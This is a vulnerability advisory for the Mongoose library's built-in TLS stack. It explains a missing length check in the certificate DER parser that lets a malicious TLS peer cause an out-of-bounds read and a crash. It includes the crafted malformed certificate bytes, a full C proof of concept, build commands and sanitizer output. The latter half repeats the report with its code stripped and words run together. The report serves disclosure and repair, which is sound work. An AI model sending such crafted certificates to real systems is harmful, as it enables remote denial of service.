Summary
A malicious TLS peer can trigger an out-of-bounds read in the certificate DER parser of a Mongoose application built with the built-in TLS stack (MG_TLS == MG_TLS_BUILTIN) by presenting a crafted X.509 certificate. On targets with an MMU this can crash the process (denial of service).
Mechanism: the long-form length branch of mg_der_to_tlv decodes an attacker-controlled element length without checking it against the remaining buffer, so mg_der_next computes parent->len -= (uint32_t) consumed with consumed > parent->len. Because parent->len is uint32_t, this underflows to a huge value and advances parent->value past the buffer; the parser then keeps walking that wild pointer and reads out of bounds. The bytes come from a peer certificate received during the TLS handshake, so the trigger is remote and untrusted.
Details
// mg_der_to_tlv(): the long-form branch validates the length OCTETS but NOT the content length
if (tlv->len > 0x7f) {
uint32_t i;
n = tlv->len - 0x80;
if (n > 4 || dersz < (2 + n)) return -1; // guards the length octets
tlv->len = 0;
for (i = 0; i < n; i++) tlv->len = (tlv->len << 8) | der[2 + i];
if (n > (dersz - 2)) return -1;
tlv->value += n;
// MISSING: if (der + dersz < tlv->value + tlv->len) return -1;
} else {
if (der + dersz < tlv->value + tlv->len) return -1; // present only here
}
// mg_der_parse() returns consumed = 2 + n + tlv->len (can exceed the parent element)
// mg_der_next():
consumed = mg_der_parse(parent->value, parent->len, child);
if (consumed < 0) return -1;
parent->value += consumed;
parent->len -= (uint32_t) consumed; // uint32 underflow when consumed > parent->len
After the underflow (parent->len becomes a huge value and parent->value points past the buffer), mg_tls_parse_cert_der continues parsing and eventually invokes mg_der_to_tlv on the invalid pointer. This is not a bounded adjacent over-read; the pointer keeps advancing forward through memory on each iteration.
Reachability / threat model. During the handshake, mg_tls_parse_cert_der parses the peer's certificate; its mg_der_next chain (and the Subject/issuer/SAN searches via mg_der_find_oid) run over the certificate bytes. The certificate-message unpacking that precedes it validates only the length framing (chain and per-cert sizes), not the DER content, so a malformed length inside the certificate reaches the parser. The attacker is a TLS peer: a malicious/MITM server presenting a certificate to a Mongoose client, or a client presenting a certificate to a Mongoose server that requests and parses client certificates. A TLS peer controls the DER encoding of the certificate it presents during the handshake, allowing a malformed long-form length to reach the parser.
Relationship to PR #3467. PR #3467 concerned a different over-read in the same function (reading the length octets der[2..2+n] when the buffer is too small), now guarded by if (n > 4 || dersz < (2 + n)) return -1;. This report is the missing content-length bound afterwards; the PoC input passes the #3467 guard and still underflows, so it reproduces with that check in place.
Why the unit tests do not catch it. The TLS tests parse well-formed certificates; none supplies a certificate whose DER carries a long-form length that exceeds its enclosing element. This is the normal mg_tls_parse_cert_der path on hostile input, not misuse of the API.
PoC
poc_mg_tls_parse_cert_der.c compiles the real mongoose.c directly (via #include), so the fault occurs inside the actual library functions, and feeds a crafted, malformed certificate DER to mg_tls_parse_cert_der. The PoC intentionally supplies a minimal malformed DER buffer directly to the certificate parser in order to isolate the parsing defect. It is not intended to represent a complete X.509 certificate. The fault occurs at the version step, before any signature or validity-date check:
30 08 Certificate ::= SEQUENCE, length 8
30 06 TBSCertificate ::= SEQUENCE, length 6
A0 81 7F [0] version, long-form length = 127 (>> the 6-byte TBS)
02 01 02 inner INTEGER 2, so the version check passes
A TLS peer controls the DER encoding of the certificate it presents.
Full PoC (poc_mg_tls_parse_cert_der.c):
#include "mongoose.c" /* the real library; MG_TLS=MG_TLS_BUILTIN via -D */
int main(void) {
/* Minimal malformed certificate DER. The version element declares a
* long-form length of 127 although only 6 bytes remain in TBSCertificate.
*/
static const uint8_t cert[] = {
0x30, 0x08, /* Certificate SEQUENCE */
0x30, 0x06, /* TBSCertificate SEQUENCE */
0xA0, 0x81, 0x7F, /* [0] version, declared length 127 */
0x02, 0x01, 0x02 /* INTEGER 2 */
};
const size_t n = sizeof(cert);
uint8_t *der = (uint8_t *) malloc(n);
memcpy(der, cert, n);
struct mg_tls_cert ci;
memset(&ci, 0, sizeof ci);
int r = mg_tls_parse_cert_der(der, n, &ci);
free(der);
return r < 0 ? 0 : r; /* reached only if the bug is fixed (cert rejected) */
}
git clone https://github.com/cesanta/mongoose.git
cd mongoose
git checkout 6709c028aa5fb60f26ef9e5e49ee460f63564077 # MG_VERSION 7.22
cc -g -O0 -fsanitize=address -fno-omit-frame-pointer -I. \
-DMG_TLS=MG_TLS_BUILTIN -DMG_ENABLE_TCPIP=0 \
./poc_mg_tls_parse_cert_der.c -o poc
./poc 2>&1 | tee mg_tls_parse_cert_der_asan.log
Output (AddressSanitizer):
==792678==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000096 at pc 0x55d6949533df bp 0x7ffd2e20db10 sp 0x7ffd2e20db00
READ of size 1 at 0x602000000096 thread T0
#0 0x55d6949533de in mg_der_to_tlv mongoose.c:16216
#1 0x55d69495372c in mg_der_parse mongoose.c:16236
#2 0x55d6949538bd in mg_der_next mongoose.c:16245
#3 0x55d69495fefc in mg_tls_parse_cert_der mongoose.c:17477
#4 0x55d69498c8bc in main poc_mg_tls_parse_cert_der.c:31
#5 0x7ff2a727d082 in __libc_start_main ../csu/libc-start.c:308
#6 0x55d6948f7b6d in _start (./poc+0x13b6d)
The read is at an invalid pointer inside mg_der_to_tlv, reached from mg_tls_parse_cert_der.
The PoC exercises the real certificate-parsing entry point (mg_tls_parse_cert_der). It does not run a full TLS handshake; in a real connection the certificate reaches the parser after AEAD record decryption, which the PoC skips by calling the parser on the plaintext directly.
Impact
Memory-safety defect (out-of-bounds read) reachable remotely and without authentication.
Who is impacted: any application built with Mongoose's built-in TLS stack (MG_TLS == MG_TLS_BUILTIN) that parses a peer certificate: TLS clients validating a server's certificate, and TLS servers that request and parse client certificates. The certificate is parsed during the handshake, before authentication completes, so no credentials are required.
Severity by target:
- Targets with an MMU (e.g. hosted Linux builds that use built-in TLS): the invalid-pointer walk reaches unmapped memory, causing a reliable crash (remote denial of service).
- Bare-metal / no-MMU embedded targets: the over-read may not fault; behavior is undefined and depends on the memory map.
What this is not:
- Not RCE: this is a read, there is no write primitive.
- Not a demonstrated information leak: the over-read bytes are only compared against fixed OIDs; they are not returned to the peer.
- Not a certificate-validation bypass: the fault occurs during parsing, before any verdict, and the OID search returning ≤ 0 makes hostname checks fail closed.
Summary
A malicious TLS peer can trigger an out-of-bounds read in the certificate DER parser of a Mongoose application built with the built-in TLS stack (
MG_TLS == MG_TLS_BUILTIN) by presenting a crafted X.509 certificate. On targets with an MMU this can crash the process (denial of service).Mechanism: the long-form length branch of
mg_der_to_tlvdecodes an attacker-controlled element length without checking it against the remaining buffer, somg_der_nextcomputesparent->len -= (uint32_t) consumedwithconsumed > parent->len. Becauseparent->lenisuint32_t, this underflows to a huge value and advancesparent->valuepast the buffer; the parser then keeps walking that wild pointer and reads out of bounds. The bytes come from a peer certificate received during the TLS handshake, so the trigger is remote and untrusted.Details
After the underflow (
parent->lenbecomes a huge value andparent->valuepoints past the buffer),mg_tls_parse_cert_dercontinues parsing and eventually invokesmg_der_to_tlvon the invalid pointer. This is not a bounded adjacent over-read; the pointer keeps advancing forward through memory on each iteration.Reachability / threat model. During the handshake,
mg_tls_parse_cert_derparses the peer's certificate; itsmg_der_nextchain (and the Subject/issuer/SAN searches viamg_der_find_oid) run over the certificate bytes. The certificate-message unpacking that precedes it validates only the length framing (chain and per-cert sizes), not the DER content, so a malformed length inside the certificate reaches the parser. The attacker is a TLS peer: a malicious/MITM server presenting a certificate to a Mongoose client, or a client presenting a certificate to a Mongoose server that requests and parses client certificates. A TLS peer controls the DER encoding of the certificate it presents during the handshake, allowing a malformed long-form length to reach the parser.Relationship to PR #3467. PR #3467 concerned a different over-read in the same function (reading the length octets
der[2..2+n]when the buffer is too small), now guarded byif (n > 4 || dersz < (2 + n)) return -1;. This report is the missing content-length bound afterwards; the PoC input passes the#3467guard and still underflows, so it reproduces with that check in place.Why the unit tests do not catch it. The TLS tests parse well-formed certificates; none supplies a certificate whose DER carries a long-form length that exceeds its enclosing element. This is the normal
mg_tls_parse_cert_derpath on hostile input, not misuse of the API.PoC
poc_mg_tls_parse_cert_der.ccompiles the realmongoose.cdirectly (via#include), so the fault occurs inside the actual library functions, and feeds a crafted, malformed certificate DER tomg_tls_parse_cert_der. The PoC intentionally supplies a minimal malformed DER buffer directly to the certificate parser in order to isolate the parsing defect. It is not intended to represent a complete X.509 certificate. The fault occurs at the version step, before any signature or validity-date check:A TLS peer controls the DER encoding of the certificate it presents.
Full PoC (
poc_mg_tls_parse_cert_der.c):Output (AddressSanitizer):
The read is at an invalid pointer inside
mg_der_to_tlv, reached frommg_tls_parse_cert_der.The PoC exercises the real certificate-parsing entry point (
mg_tls_parse_cert_der). It does not run a full TLS handshake; in a real connection the certificate reaches the parser after AEAD record decryption, which the PoC skips by calling the parser on the plaintext directly.Impact
Memory-safety defect (out-of-bounds read) reachable remotely and without authentication.
Who is impacted: any application built with Mongoose's built-in TLS stack (
MG_TLS == MG_TLS_BUILTIN) that parses a peer certificate: TLS clients validating a server's certificate, and TLS servers that request and parse client certificates. The certificate is parsed during the handshake, before authentication completes, so no credentials are required.Severity by target:
What this is not: